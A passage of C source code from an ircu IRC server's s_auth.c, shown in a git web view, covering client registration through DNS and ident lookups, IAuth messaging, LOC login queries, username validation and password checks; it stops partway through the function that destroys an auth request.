fixed propagation of user mode changes (user should ALWAYS be notified)
[ircu2.10.12-pk.git] / ircd / s_auth.c
1 /************************************************************************
2  *   IRC - Internet Relay Chat, src/s_auth.c
3  *   Copyright (C) 1992 Darren Reed
4  *
5  *   This program is free software; you can redistribute it and/or modify
6  *   it under the terms of the GNU General Public License as published by
7  *   the Free Software Foundation; either version 1, or (at your option)
8  *   any later version.
9  *
10  *   This program is distributed in the hope that it will be useful,
11  *   but WITHOUT ANY WARRANTY; without even the implied warranty of
12  *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
13  *   GNU General Public License for more details.
14  *
15  *   You should have received a copy of the GNU General Public License
16  *   along with this program; if not, write to the Free Software
17  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
18  *
19  * Changes:
20  *   July 6, 1999 - Rewrote most of the code here. When a client connects
21  *     to the server and passes initial socket validation checks, it
22  *     is owned by this module (auth) which returns it to the rest of the
23  *     server when dns and auth queries are finished. Until the client is
24  *     released, the server does not know it exists and does not process
25  *     any messages from it.
26  *     --Bleep  Thomas Helvey <tomh@inxpress.net>
27  *
28  *  December 26, 2005 - Rewrite the flag handling and integrate that with
29  *     an IRCnet-style IAuth protocol.
30  *     -- Michael Poole
31  */
32 /** @file
33  * @brief Implementation of DNS and ident lookups.
34  * @version $Id: s_auth.c 1843 2007-11-17 14:12:37Z entrope $
35  */
36 #include "config.h"
37
38 #include "s_auth.h"
39 #include "class.h"
40 #include "client.h"
41 #include "hash.h"
42 #include "IPcheck.h"
43 #include "ircd.h"
44 #include "ircd_alloc.h"
45 #include "ircd_chattr.h"
46 #include "ircd_events.h"
47 #include "ircd_features.h"
48 #include "ircd_log.h"
49 #include "ircd_osdep.h"
50 #include "ircd_reply.h"
51 #include "ircd_snprintf.h"
52 #include "ircd_string.h"
53 #include "list.h"
54 #include "msg.h"        /* for MAXPARA */
55 #include "numeric.h"
56 #include "numnicks.h"
57 #include "querycmds.h"
58 #include "random.h"
59 #include "res.h"
60 #include "s_bsd.h"
61 #include "s_conf.h"
62 #include "s_debug.h"
63 #include "s_misc.h"
64 #include "s_user.h"
65 #include "send.h"
66 #include "sys.h"
67
68 #include <errno.h>
69 #include <string.h>
70 #include <stdio.h>
71 #include <stdlib.h>
72 #include <unistd.h>
73 #include <fcntl.h>
74 #include <sys/socket.h>
75 #include <sys/ioctl.h>
76
77 /** Pending operations during registration. */
78 enum AuthRequestFlag {
79     AR_AUTH_PENDING,    /**< ident connecting or waiting for response */
80     AR_DNS_PENDING,     /**< dns request sent, waiting for response */
81     AR_CAP_PENDING,     /**< in middle of CAP negotiations */
82     AR_LOC_PENDING,     /**< LOC reply is awaited */
83     AR_NEEDS_PONG,      /**< user has not PONGed */
84     AR_NEEDS_USER,      /**< user must send USER command */
85     AR_NEEDS_NICK,      /**< user must send NICK command */
86     AR_LAST_SCAN = AR_NEEDS_NICK, /**< maximum flag to scan through */
87     AR_ZOMBIE_RECOVER,  /**< nick of user is already taken by a zombie - try to recover */
88     AR_IAUTH_PENDING,   /**< iauth request sent, waiting for response */
89     AR_IAUTH_HURRY,     /**< we told iauth to hurry up */
90     AR_IAUTH_USERNAME,  /**< iauth sent a username (preferred or forced) */
91     AR_IAUTH_FUSERNAME, /**< iauth sent a forced username */
92     AR_PASSWORD_CHECKED, /**< client password already checked */
93     AR_LOC_SENT,        /**< LOC query already sent. */
94     AR_LOC_FORCE,       /**< Force kill if LOC failed. */
95     AR_NUM_FLAGS
96 };
97
98 DECLARE_FLAGSET(AuthRequestFlags, AR_NUM_FLAGS);
99
100 /** Stores registration state of a client. */
101 struct AuthRequest {
102   struct AuthRequest* next;       /**< linked list node ptr */
103   struct AuthRequest* prev;       /**< linked list node ptr */
104   struct Client*      client;     /**< pointer to client struct for request */
105   struct irc_sockaddr local;      /**< local endpoint address */
106   struct irc_in_addr  original;   /**< original client IP address */
107   struct Socket       socket;     /**< socket descriptor for auth queries */
108   struct Timer        timeout;    /**< timeout timer for ident and dns queries */
109   struct AuthRequestFlags flags;  /**< current state of request */
110   unsigned int        cookie;     /**< cookie the user must PONG */
111   unsigned short      port;       /**< client's remote port number */
112   unsigned int        numeric;    /**< unregistered client numeric */
113   struct Client*      recover_client; /**< zombie client to be recovered later */
114   char                loc_user[ACCOUNTLEN];
115   char                loc_pass[PASSWDLEN];
116 };
117
118 /** Array of message text (with length) pairs for AUTH status
119  * messages.  Indexed using #ReportType.
120  */
121 static struct {
122   const char*  message;
123   unsigned int length;
124 } HeaderMessages [] = {
125 #define MSG(STR) { STR, sizeof(STR) - 1 }
126   MSG("NOTICE AUTH :*** Looking up your hostname\r\n"),
127   MSG("NOTICE AUTH :*** Found your hostname\r\n"),
128   MSG("NOTICE AUTH :*** Couldn't look up your hostname\r\n"),
129   MSG("NOTICE AUTH :*** Checking Ident\r\n"),
130   MSG("NOTICE AUTH :*** Got ident response\r\n"),
131   MSG("NOTICE AUTH :*** No ident response\r\n"),
132   MSG("NOTICE AUTH :*** \r\n"),
133   MSG("NOTICE AUTH :*** Your forward and reverse DNS do not match, "
134     "ignoring hostname.\r\n"),
135   MSG("NOTICE AUTH :*** Invalid hostname\r\n"),
136   MSG("NOTICE AUTH :*** Checking login\r\n"),
137   MSG("NOTICE AUTH :*** Login rejected\r\n"),
138   MSG("NOTICE AUTH :*** Login accepted\r\n"),
139   MSG("NOTICE AUTH :*** Nickname in Use by Zombie - try to recover\r\n"),
140 #undef MSG
141 };
142
143 /** Enum used to index messages in the HeaderMessages[] array. */
144 typedef enum {
145   REPORT_DO_DNS,
146   REPORT_FIN_DNS,
147   REPORT_FAIL_DNS,
148   REPORT_DO_ID,
149   REPORT_FIN_ID,
150   REPORT_FAIL_ID,
151   REPORT_FAIL_IAUTH,
152   REPORT_IP_MISMATCH,
153   REPORT_INVAL_DNS,
154   REPORT_DO_LOC,
155   REPORT_FAIL_LOC,
156   REPORT_DONE_LOC,
157   REPORT_ZOMBIE_RECOVER
158 } ReportType;
159
160 /** Sends response \a r (from #ReportType) to client \a c. */
161 #define sendheader(c, r) \
162    ssl_send(cli_fd(c), cli_socket(c).ssl, HeaderMessages[(r)].message, HeaderMessages[(r)].length)
163
164 /** Enumeration of IAuth connection flags. */
165 enum IAuthFlag
166 {
167   IAUTH_BLOCKED,                        /**< socket buffer full */
168   IAUTH_CLOSING,                        /**< candidate to be disposed */
169   /* The following flags are controlled by iauth's "O" options command. */
170   IAUTH_ADDLINFO,                       /**< Send additional info
171                                          * (password and username). */
172   IAUTH_FIRST_OPTION = IAUTH_ADDLINFO,  /**< First flag that is a policy option. */
173   IAUTH_REQUIRED,                       /**< IAuth completion required for registration. */
174   IAUTH_TIMEOUT,                        /**< Refuse new connections if IAuth is behind. */
175   IAUTH_EXTRAWAIT,                      /**< Give IAuth extra time to answer. */
176   IAUTH_UNDERNET,                       /**< Enable Undernet extensions. */
177   IAUTH_LAST_FLAG                       /**< total number of flags */
178 };
179 /** Declare a bitset structure indexed by IAuthFlag. */
180 DECLARE_FLAGSET(IAuthFlags, IAUTH_LAST_FLAG);
181
182 /** Describes state of an IAuth connection. */
183 struct IAuth {
184   struct MsgQ i_sendQ;                  /**< messages queued to send */
185   struct Socket i_socket;               /**< main socket to iauth */
186   struct Socket i_stderr;               /**< error socket for iauth */
187   struct IAuthFlags i_flags;            /**< connection state/status/flags */
188   uint64_t i_recvB;                     /**< bytes received */
189   uint64_t i_sendB;                     /**< bytes sent */
190   time_t started;                       /**< time that this instance was started */
191   unsigned int i_recvM;                 /**< messages received */
192   unsigned int i_sendM;                 /**< messages sent */
193   unsigned int i_count;                 /**< characters used in i_buffer */
194   unsigned int i_errcount;              /**< characters used in i_errbuf */
195   int i_debug;                          /**< debug level */
196   char i_buffer[BUFSIZE+1];             /**< partial unprocessed line from server */
197   char i_errbuf[BUFSIZE+1];             /**< partial unprocessed error line */
198   char *i_version;                      /**< iauth version string */
199   struct SLink *i_config;               /**< configuration string list */
200   struct SLink *i_stats;                /**< statistics string list */
201   char **i_argv;                        /**< argument list */
202 };
203
204 /** Return whether flag \a flag is set on \a iauth. */
205 #define IAuthHas(iauth, flag) ((iauth) && FlagHas(&(iauth)->i_flags, flag))
206 /** Set flag \a flag on \a iauth. */
207 #define IAuthSet(iauth, flag) FlagSet(&(iauth)->i_flags, flag)
208 /** Clear flag \a flag from \a iauth. */
209 #define IAuthClr(iauth, flag) FlagClr(&(iauth)->i_flags, flag)
210 /** Get connected flag for \a iauth. */
211 #define i_GetConnected(iauth) ((iauth) && s_fd(i_socket(iauth)) > -1)
212
213 /** Return socket event generator for \a iauth. */
214 #define i_socket(iauth) (&(iauth)->i_socket)
215 /** Return stderr socket for \a iauth. */
216 #define i_stderr(iauth) (&(iauth)->i_stderr)
217 /** Return outbound message queue for \a iauth. */
218 #define i_sendQ(iauth) (&(iauth)->i_sendQ)
219 /** Return debug level for \a iauth. */
220 #define i_debug(iauth) ((iauth)->i_debug)
221
222 /** Active instance of IAuth. */
223 static struct IAuth *iauth;
224 /** Freelist of AuthRequest structures. */
225 static struct AuthRequest *auth_freelist;
226 /** Set to 1 if iauth is required to proceed a client, otherwise 0. */
227 static int iauth_required;
228
229 /** Array of unregistered clients indexed by numeric. */
230 static struct AuthRequest *uclient_list[MAXCONNECTIONS];
231
232 static void iauth_sock_callback(struct Event *ev);
233 static void iauth_stderr_callback(struct Event *ev);
234 static int sendto_iauth(struct Client *cptr, const char *format, ...);
235 static int preregister_user(struct Client *cptr, signed int stop);
236 typedef int (*iauth_cmd_handler)(struct IAuth *iauth, struct Client *cli,
237                                  int parc, char **params);
238 static void iauth_disconnect(struct IAuth *iauth);
239 int iauth_do_spawn(struct IAuth *iauth, int automatic);
240
241 /** Register a new unregistered client numeric.
242  * This numeric is totally independent from the numnicks in numnicks.c.
243  * Don't mix them up!
244  * This numeric is only valid while the user is in the unregistered state.
245  */
246 static int auth_set_numnick(struct AuthRequest *auth) {
247   static unsigned int last_uclient = 0;
248   unsigned int count = 0;
249
250   while(uclient_list[last_uclient]) {
251     ++count;
252     if(count == MAXCONNECTIONS) {
253       assert(count < MAXCONNECTIONS && "More pending client registrations than connections, abort!");
254       return 0;
255     }
256     ++last_uclient;
257     if(last_uclient == MAXCONNECTIONS) last_uclient = 0;
258   }
259   uclient_list[last_uclient] = auth;
260   auth->numeric = last_uclient;
261   if(++last_uclient == MAXCONNECTIONS) last_uclient = 0;
262   return 1;
263 }
264
265 /** Unregisters an unregistered client numeric.
266  * See auth_set_numnick for information.
267  */
268 static void auth_unset_numnick(struct AuthRequest *auth) {
269   uclient_list[auth->numeric] = NULL;
270   auth->numeric = 0;
271 }
272
273 /** Finds an AuthRequest related to an unregistered client numeric.
274  * See auth_set_numnick for information.
275  */
276 static struct AuthRequest *auth_find_numnick(const char *numnick) {
277   unsigned int num;
278
279   num = base64toint(numnick);
280   if(num >= MAXCONNECTIONS) return NULL;
281   return uclient_list[num];
282 }
283
284 /** Sends a LOC query.
285  * We check for FEAT_LOC_ENABLE, search for the nick and discard the query
286  * if one check fails.
287  */
288 static signed int auth_loc_send(struct AuthRequest *auth) {
289     struct Client *acptr;
290     char buf[4];
291     const char *host, *ip, *ident, *format;
292
293     if(!auth) return 1;
294     if(!FlagHas(&auth->flags, AR_LOC_PENDING) ||
295         FlagHas(&auth->flags, AR_LOC_SENT) ||
296         FlagHas(&auth->flags, AR_DNS_PENDING) ||
297         FlagHas(&auth->flags, AR_NEEDS_USER) ||
298         FlagHas(&auth->flags, AR_AUTH_PENDING)) return 1;
299
300     inttobase64(buf, auth->numeric, 3);
301     buf[3] = 0;
302
303     host = cli_sockhost(auth->client);
304     if(!host || !*host) host = NULL;
305     ip = cli_sock_ip(auth->client);
306     if(IsIdented(auth->client))
307         ident = cli_username(auth->client);
308     else
309         ident = cli_user(auth->client)->username;
310
311     if(!ident || !*ident) ident = "unknown";
312
313     if(feature_str(FEAT_LOC_TARGET) && (acptr = FindUser(feature_str(FEAT_LOC_TARGET))) && IsNetServ(acptr) && IsService(cli_user(acptr)->server)) {
314         if(IsIdented(auth->client) && host) format = "%C LQ !%s%s %s %s %s %s :%s";
315         else if(IsIdented(auth->client)) format = "%C LQ !%s%s %s %s%s %s :%s";
316         else if(host) format = "%C LQ !%s%s %s %s %s ~%s :%s";
317         else format = "%C LQ !%s%s %s %s%s ~%s :%s";
318
319         sendcmdto_one(&me, CMD_RELAY, acptr, format, acptr,
320                       cli_yxx(&me), buf, auth->loc_user, ip, host?host:"",
321                       ident, auth->loc_pass);
322         FlagSet(&auth->flags, AR_LOC_SENT);
323     }
324     else {
325         sendheader(auth->client, REPORT_FAIL_LOC);
326         FlagClr(&auth->flags, AR_LOC_PENDING);
327         if(FlagHas(&auth->flags, AR_LOC_FORCE)) {
328             exit_client(auth->client, auth->client, &me, "LOC Failed");
329             return 0;
330         }
331     }
332     return 1;
333 }
334
335 /** Set username for user associated with \a auth.
336  * @param[in] auth Client authorization request to work on.
337  * @return Zero if client is kept, CPTR_KILLED if client rejected.
338  */
339 static int auth_set_username(struct AuthRequest *auth)
340 {
341   struct Client *sptr = auth->client;
342   struct User   *user = cli_user(sptr);
343   char *d;
344   char *s;
345   int   rlen = USERLEN;
346   int   killreason;
347   char  ch;
348   char  last;
349   unsigned int i;
350
351   if (FlagHas(&auth->flags, AR_IAUTH_USERNAME))
352   {
353       ircd_strncpy(cli_user(sptr)->username, cli_username(sptr), USERLEN);
354   }
355   else
356   {
357     /* Copy username from source to destination.  Since they may be the
358      * same, and we may prefix with a '~', use a buffer character (ch)
359      * to hold the next character to copy.
360      */
361     s = IsIdented(sptr) ? cli_username(sptr) : user->username;
362     last = *s++;
363     d = user->username;
364     if (HasFlag(sptr, FLAG_DOID) && !IsIdented(sptr))
365     {
366       *d++ = '~';
367       --rlen;
368     }
369     while (last && !IsCntrl(last) && rlen--)
370     {
371       ch = *s++;
372       *d++ = IsUserChar(last) ? last : '_';
373       last = (ch != '~') ? ch : '_';
374     }
375     *d = 0;
376   }
377
378   /* If username is empty or just ~, reject. */
379   if ((user->username[0] == '\0')
380       || ((user->username[0] == '~') && (user->username[1] == '\0')))
381     return exit_client(sptr, sptr, &me, "USER: Bogus userid.");
382
383   /* Check for K- or G-line. */
384   killreason = find_kill(sptr);
385   if (killreason) {
386     ServerStats->is_ref++;
387     return exit_client(sptr, sptr, &me,
388                        (killreason == -1 ? "K-lined" : "G-lined"));
389   }
390
391   if (!FlagHas(&auth->flags, AR_IAUTH_FUSERNAME))
392 #if 1
393   {
394     for(i = 0; user->username[i]; ++i) {
395       if(user->username[i] > 126 || user->username[i] < 1) goto badid;
396     }
397   }
398 #else
399   {
400     /* Check for mixed case usernames, meaning probably hacked.  Jon2 3-94
401      * Explanations of rules moved to where it is checked     Entrope 2-06
402      */
403     s = d = user->username + (user->username[0] == '~');
404     for (last = '\0';
405          (ch = *d++) != '\0';
406          pos++, last = ch)
407     {
408       if (IsLower(ch))
409       {
410         lower++;
411       }
412       else if (IsUpper(ch))
413       {
414         upper++;
415         /* Accept caps as leading if we haven't seen lower case or digits yet. */
416         if ((leadcaps || pos == 0) && !lower && !digits)
417           leadcaps++;
418       }
419       else if (IsDigit(ch))
420       {
421         digits++;
422         if (pos == 0 || !IsDigit(last))
423         {
424           digitgroups++;
425           /* If more than two groups of digits, reject. */
426           if (digitgroups > 2)
427             goto badid;
428         }
429       }
430       else if (ch == '-' || ch == '_' || ch == '.')
431       {
432         other++;
433         /* If -_. exist at start, consecutively, or more than twice, reject. */
434         if (pos == 0 || last == '-' || last == '_' || last == '.' || other > 2)
435           goto badid;
436       }
437       else /* All other punctuation is rejected. */
438         goto badid;
439     }
440
441     /* If mixed case, first must be capital, but no more than three;
442      * but if three capitals, they must all be leading. */
443     if (lower && upper && (!leadcaps || leadcaps > 3 ||
444                            (upper > 2 && upper > leadcaps)))
445       goto badid;
446     /* If two different groups of digits, one must be either at the
447      * start or end. */
448     if (digitgroups == 2 && !(IsDigit(s[0]) || IsDigit(ch)))
449       goto badid;
450     /* Must have at least one letter. */
451     if (!lower && !upper)
452       goto badid;
453     /* Final character must not be punctuation. */
454     if (!IsAlnum(last))
455       goto badid;
456   }
457 #endif
458
459   return 0;
460
461 badid:
462   /* If we confirmed their username, and it is what they claimed,
463    * accept it. */
464   if (IsIdented(sptr) && !strcmp(cli_username(sptr), user->username))
465     return 0;
466
467   ServerStats->is_ref++;
468   send_reply(sptr, SND_EXPLICIT | ERR_INVALIDUSERNAME,
469              ":Your username is invalid.");
470   send_reply(sptr, SND_EXPLICIT | ERR_INVALIDUSERNAME,
471              ":Connect with your real username, in lowercase.");
472   send_reply(sptr, SND_EXPLICIT | ERR_INVALIDUSERNAME,
473              ":If your mail address were foo@bar.com, your username "
474              "would be foo.");
475   return exit_client(sptr, sptr, &me, "USER: Bad username");
476 }
477
478 /** Check whether an authorization request is complete.
479  * This means that no flags from 0 to #AR_LAST_SCAN are set on \a auth.
480  * If #AR_IAUTH_PENDING is set, optionally go into "hurry" state.  If
481  * 0 through #AR_LAST_SCAN and #AR_IAUTH_PENDING are all clear,
482  * destroy \a auth, clear the password, set the username, and register
483  * the client.
484  * @param[in] auth Authorization request to check.
485  * @return Zero if client is kept, CPTR_KILLED if client rejected.
486  */
487 static int check_auth_finished(struct AuthRequest *auth)
488 {
489   enum AuthRequestFlag flag;
490   int res;
491
492   /* Check whether to send LOC query. */
493   if(FlagHas(&auth->flags, AR_LOC_PENDING) &&
494      !FlagHas(&auth->flags, AR_LOC_SENT) &&
495      !FlagHas(&auth->flags, AR_DNS_PENDING) &&
496      !FlagHas(&auth->flags, AR_NEEDS_USER) &&
497      !FlagHas(&auth->flags, AR_AUTH_PENDING)) {
498     if(!auth_loc_send(auth)) return CPTR_KILLED;
499     return 0;
500   }
501
502   /* Check non-iauth registration blocking flags. */
503   for (flag = 0; flag <= AR_LAST_SCAN; ++flag)
504     if (FlagHas(&auth->flags, flag))
505     {
506       Debug((DEBUG_INFO, "Auth %p [%d] still has flag %d", auth,
507              cli_fd(auth->client), flag));
508       return 0;
509     }
510
511   /* If appropriate, do preliminary assignment to connection class. */
512   if (IsUserPort(auth->client)
513       && !FlagHas(&auth->flags, AR_IAUTH_HURRY)
514       && preregister_user(auth->client, 1))
515     return CPTR_KILLED;
516
517   /* Check if iauth is done. */
518   if (FlagHas(&auth->flags, AR_IAUTH_PENDING))
519   {
520     /* Switch auth request to hurry-up state. */
521     if (!FlagHas(&auth->flags, AR_IAUTH_HURRY))
522     {
523       /* Set "hurry" flag in auth request. */
524       FlagSet(&auth->flags, AR_IAUTH_HURRY);
525
526       /* If iauth wants it, send notification. */
527       if (IAuthHas(iauth, IAUTH_UNDERNET))
528         sendto_iauth(auth->client, "H %s", get_client_class(auth->client));
529
530       /* If iauth wants it, give client more time. */
531       if (IAuthHas(iauth, IAUTH_EXTRAWAIT))
532         cli_firsttime(auth->client) = CurrentTime;
533     }
534
535     Debug((DEBUG_INFO, "Auth %p [%d] still has flag %d", auth,
536            cli_fd(auth->client), AR_IAUTH_PENDING));
537     return 0;
538   }
539   else
540     FlagSet(&auth->flags, AR_IAUTH_HURRY);
541
542   /* Class assignment is done after IAUTH is done. */
543   if (IsUserPort(auth->client)) {
544     if(preregister_user(auth->client, 0))
545       return CPTR_KILLED;
546
547     if(!FlagHas(&auth->flags, AR_PASSWORD_CHECKED)) {
548       struct ConfItem *aconf;
549       aconf = cli_confs(auth->client)->value.aconf;
550       if (aconf
551           && !EmptyString(aconf->passwd)
552           && strcmp(cli_passwd(auth->client), aconf->passwd))
553       {
554         ServerStats->is_ref++;
555         send_reply(auth->client, ERR_PASSWDMISMATCH);
556         return exit_client(auth->client, auth->client, &me, "Bad Password");
557       }
558       FlagSet(&auth->flags, AR_PASSWORD_CHECKED);
559     }
560   }
561
562   if (IsUserPort(auth->client))
563   {
564     if(FlagHas(&auth->flags, AR_ZOMBIE_RECOVER)) {
565       /* check if able to recover connection */
566       if(!IsAccount(auth->client) || ircd_strcmp(cli_user(auth->client)->account, cli_user(auth->recover_client)->account)) {
567         send_reply(auth->client, ERR_RECOVERDENIED, cli_name(auth->recover_client), "auth missmatch");
568         
569         /* reset nickname */
570         FlagSet(&auth->flags, AR_NEEDS_NICK);
571         send_reply(auth->client, ERR_NICKNAMEINUSE, cli_name(auth->recover_client));
572         hRemClient(auth->client);
573         (cli_name(auth->client))[0] = '\0';
574         return 0;
575       }
576     }
577     memset(cli_passwd(auth->client), 0, sizeof(cli_passwd(auth->client)));
578     res = auth_set_username(auth);
579     if (res == 0)
580       res = register_user(auth->client, auth->client);
581     if (res == 0 && FlagHas(&auth->flags, AR_ZOMBIE_RECOVER)) {
582       unzombie_client(&me, &me, auth->client, auth->recover_client);
583       auth->client = auth->recover_client;
584     }
585   }
586   else
587     res = 0;
588   if (res == 0)
589     destroy_auth_request(auth);
590   return res;
591 }
592
593 /** Verify that a hostname is valid, i.e., only contains characters
594  * valid for a hostname and that a hostname is not too long.
595  * @param host Hostname to check.
596  * @param maxlen Maximum length of hostname, not including NUL terminator.
597  * @return Non-zero if the hostname is valid.
598  */
599 static int
600 auth_verify_hostname(const char *host, int maxlen)
601 {
602   int i;
603
604   /* Walk through the host name */
605   for (i = 0; host[i]; i++)
606     /* If it's not a hostname character or if it's too long, return false */
607     if (!IsHostChar(host[i]) || i >= maxlen)
608       return 0;
609
610   return 1; /* it's a valid hostname */
611 }
612
613 /** Check whether a client already has a CONF_CLIENT configuration
614  * item.
615  *
616  * @return A pointer to the client's first CONF_CLIENT, or NULL if
617  *   there are none.
618  */
619 static struct ConfItem *find_conf_client(struct Client *cptr)
620 {
621   struct SLink *list;
622
623   for (list = cli_confs(cptr); list != NULL; list = list->next) {
624     struct ConfItem *aconf;
625     aconf = list->value.aconf;
626     if (aconf->status & CONF_CLIENT)
627       return aconf;
628   }
629
630   return NULL;
631 }
632
633 /** Assign a client to a connection class.
634  * @param[in] cptr Client to assign to a class.
635  * @return Zero if client is kept, CPTR_KILLED if rejected.
636  */
637 static int preregister_user(struct Client *cptr, signed int stop)
638 {
639   static time_t last_too_many1;
640   static time_t last_too_many2;
641
642   ircd_strncpy(cli_user(cptr)->host, cli_sockhost(cptr), HOSTLEN);
643   ircd_strncpy(cli_user(cptr)->realhost, cli_sockhost(cptr), HOSTLEN);
644
645   if(find_conf_client(cptr) || stop) return 0;
646
647   switch (conf_check_client(cptr))
648   {
649   case ACR_OK:
650     break;
651   case ACR_NO_AUTHORIZATION:
652     sendto_opmask_butone(0, SNO_UNAUTH, "Unauthorized connection from %s.",
653                          get_client_name(cptr, HIDE_IP));
654     ++ServerStats->is_ref;
655     return exit_client(cptr, cptr, &me,
656                        "No Authorization - use another server");
657   case ACR_TOO_MANY_IN_CLASS:
658     sendto_opmask_butone_ratelimited(0, SNO_TOOMANY, &last_too_many1,
659                                      "Too many connections in class %s for %s.",
660                                      get_client_class(cptr),
661                                      get_client_name(cptr, SHOW_IP));
662     ++ServerStats->is_ref;
663     return exit_client(cptr, cptr, &me,
664                        "Sorry, your connection class is full - try "
665                        "again later or try another server");
666   case ACR_TOO_MANY_FROM_IP:
667     sendto_opmask_butone_ratelimited(0, SNO_TOOMANY, &last_too_many2,
668                                      "Too many connections from same IP for %s.",
669                                      get_client_name(cptr, SHOW_IP));
670     ++ServerStats->is_ref;
671     return exit_client(cptr, cptr, &me,
672                        "Too many connections from your host");
673   case ACR_ALREADY_AUTHORIZED:
674     /* Can this ever happen? */
675   case ACR_BAD_SOCKET:
676     ++ServerStats->is_ref;
677     IPcheck_connect_fail(cptr);
678     return exit_client(cptr, cptr, &me, "Unknown error -- Try again");
679   }
680   return 0;
681 }
682
683 /** Send the ident server a query giving "theirport , ourport". The
684  * write is only attempted *once* so it is deemed to be a fail if the
685  * entire write doesn't write all the data given.  This shouldn't be a
686  * problem since the socket should have a write buffer far greater
687  * than this message to store it in should problems arise. -avalon
688  * @param[in] auth The request to send.
689  */
690 static void send_auth_query(struct AuthRequest* auth)
691 {
692   char               authbuf[32];
693   unsigned int       count;
694
695   assert(0 != auth);
696
697   ircd_snprintf(0, authbuf, sizeof(authbuf), "%hu , %hu\r\n",
698                 auth->port, auth->local.port);
699
700   if (IO_SUCCESS != os_send_nonb(s_fd(&auth->socket), authbuf, strlen(authbuf), &count)) {
701     close(s_fd(&auth->socket));
702     socket_del(&auth->socket);
703     s_fd(&auth->socket) = -1;
704     ++ServerStats->is_abad;
705     if (IsUserPort(auth->client))
706       sendheader(auth->client, REPORT_FAIL_ID);
707     FlagClr(&auth->flags, AR_AUTH_PENDING);
708     check_auth_finished(auth);
709   }
710 }
711
712 /** Enum used to index ident reply fields in a human-readable way. */
713 enum IdentReplyFields {
714   IDENT_PORT_NUMBERS,
715   IDENT_REPLY_TYPE,
716   IDENT_OS_TYPE,
717   IDENT_INFO,
718   USERID_TOKEN_COUNT
719 };
720
721 /** Parse an ident reply line and extract the userid from it.
722  * @param[in] reply The ident reply line.
723  * @return The userid, or NULL on parse failure.
724  */
725 static char* check_ident_reply(char* reply)
726 {
727   char* token;
728   char* end;
729   char* vector[USERID_TOKEN_COUNT];
730   int count = token_vector(reply, ':', vector, USERID_TOKEN_COUNT);
731
732   if (USERID_TOKEN_COUNT != count)
733     return 0;
734   /*
735    * second token is the reply type
736    */
737   token = vector[IDENT_REPLY_TYPE];
738   if (EmptyString(token))
739     return 0;
740
741   while (IsSpace(*token))
742     ++token;
743
744   if (0 != strncmp(token, "USERID", 6))
745     return 0;
746
747   /*
748    * third token is the os type
749    */
750   token = vector[IDENT_OS_TYPE];
751   if (EmptyString(token))
752     return 0;
753   while (IsSpace(*token))
754    ++token;
755
756   /*
757    * Unless "OTHER" is specified as the operating system
758    * type, the server is expected to return the "normal"
759    * user identification of the owner of this connection.
760    * "Normal" in this context may be taken to mean a string
761    * of characters which uniquely identifies the connection
762    * owner such as a user identifier assigned by the system
763    * administrator and used by such user as a mail
764    * identifier, or as the "user" part of a user/password
765    * pair used to gain access to system resources.  When an
766    * operating system is specified (e.g., anything but
767    * "OTHER"), the user identifier is expected to be in a
768    * more or less immediately useful form - e.g., something
769    * that could be used as an argument to "finger" or as a
770    * mail address.
771    */
772   if (0 == strncmp(token, "OTHER", 5))
773     return 0;
774   /*
775    * fourth token is the username
776    */
777   token = vector[IDENT_INFO];
778   if (EmptyString(token))
779     return 0;
780   while (IsSpace(*token))
781     ++token;
782   /*
783    * look for the end of the username, terminators are '\0, @, <SPACE>, :'
784    */
785   for (end = token; *end; ++end) {
786     if (IsSpace(*end) || '@' == *end || ':' == *end)
787       break;
788   }
789   *end = '\0';
790   return token;
791 }
792
793 /** Read the reply (if any) from the ident server we connected to.  We
794  * only give it one shot, if the reply isn't good the first time fail
795  * the authentication entirely. --Bleep
796  * @param[in] auth The request to read.
797  */
798 static void read_auth_reply(struct AuthRequest* auth)
799 {
800   char*        username = 0;
801   unsigned int len;
802   /*
803    * rfc1453 sez we MUST accept 512 bytes
804    */
805   char   buf[BUFSIZE + 1];
806
807   assert(0 != auth);
808   assert(0 != auth->client);
809   assert(auth == cli_auth(auth->client));
810
811   if (IO_SUCCESS == os_recv_nonb(s_fd(&auth->socket), buf, BUFSIZE, &len)) {
812     buf[len] = '\0';
813     Debug((DEBUG_INFO, "Auth %p [%d] reply: %s", auth, cli_fd(auth->client), buf));
814     username = check_ident_reply(buf);
815     Debug((DEBUG_INFO, "Username: %s", username));
816   }
817
818   Debug((DEBUG_INFO, "Deleting auth [%d] socket %p", auth, cli_fd(auth->client)));
819   close(s_fd(&auth->socket));
820   socket_del(&auth->socket);
821   s_fd(&auth->socket) = -1;
822
823   if (EmptyString(username)) {
824     if (IsUserPort(auth->client))
825       sendheader(auth->client, REPORT_FAIL_ID);
826     ++ServerStats->is_abad;
827   } else {
828     if (IsUserPort(auth->client))
829       sendheader(auth->client, REPORT_FIN_ID);
830     ++ServerStats->is_asuc;
831     if (!FlagHas(&auth->flags, AR_IAUTH_USERNAME)) {
832       ircd_strncpy(cli_username(auth->client), username, USERLEN);
833       SetGotId(auth->client);
834     }
835     if (IAuthHas(iauth, IAUTH_UNDERNET))
836       sendto_iauth(auth->client, "u %s", username);
837   }
838
839   FlagClr(&auth->flags, AR_AUTH_PENDING);
840   if(!auth_loc_send(auth)) return;
841   check_auth_finished(auth);
842 }
843
844 /** Handle socket I/O activity.
845  * @param[in] ev A socket event whos associated data is the active
846  *   struct AuthRequest.
847  */
848 static void auth_sock_callback(struct Event* ev)
849 {
850   struct AuthRequest* auth;
851
852   assert(0 != ev_socket(ev));
853   assert(0 != s_data(ev_socket(ev)));
854
855   auth = (struct AuthRequest*) s_data(ev_socket(ev));
856
857   switch (ev_type(ev)) {
858   case ET_DESTROY: /* being destroyed */
859     break;
860
861   case ET_CONNECT: /* socket connection completed */
862     Debug((DEBUG_INFO, "Connection completed for auth %p [%d]; sending query",
863            auth, cli_fd(auth->client)));
864     socket_state(&auth->socket, SS_CONNECTED);
865     send_auth_query(auth);
866     break;
867
868   case ET_READ: /* socket is readable */
869   case ET_EOF: /* end of file on socket */
870   case ET_ERROR: /* error on socket */
871     Debug((DEBUG_INFO, "Auth socket %p [%p] readable", auth, ev_socket(ev)));
872     read_auth_reply(auth);
873     break;
874
875   default:
876     assert(0 && "Unrecognized event in auth_socket_callback().");
877     break;
878   }
879 }
880
881 /** Stop an auth request completely.
882  * @param[in] auth The struct AuthRequest to cancel.
883  */
884 void destroy_auth_request(struct AuthRequest* auth)
885 {
886   Debug((DEBUG_INFO, "Deleting auth request for %p", auth->client));
887
888   /* Unset numeric nick. */
889   auth_unset_numnick(auth);
890
891   if (FlagHas(&auth->flags, AR_DNS_PENDING)) {
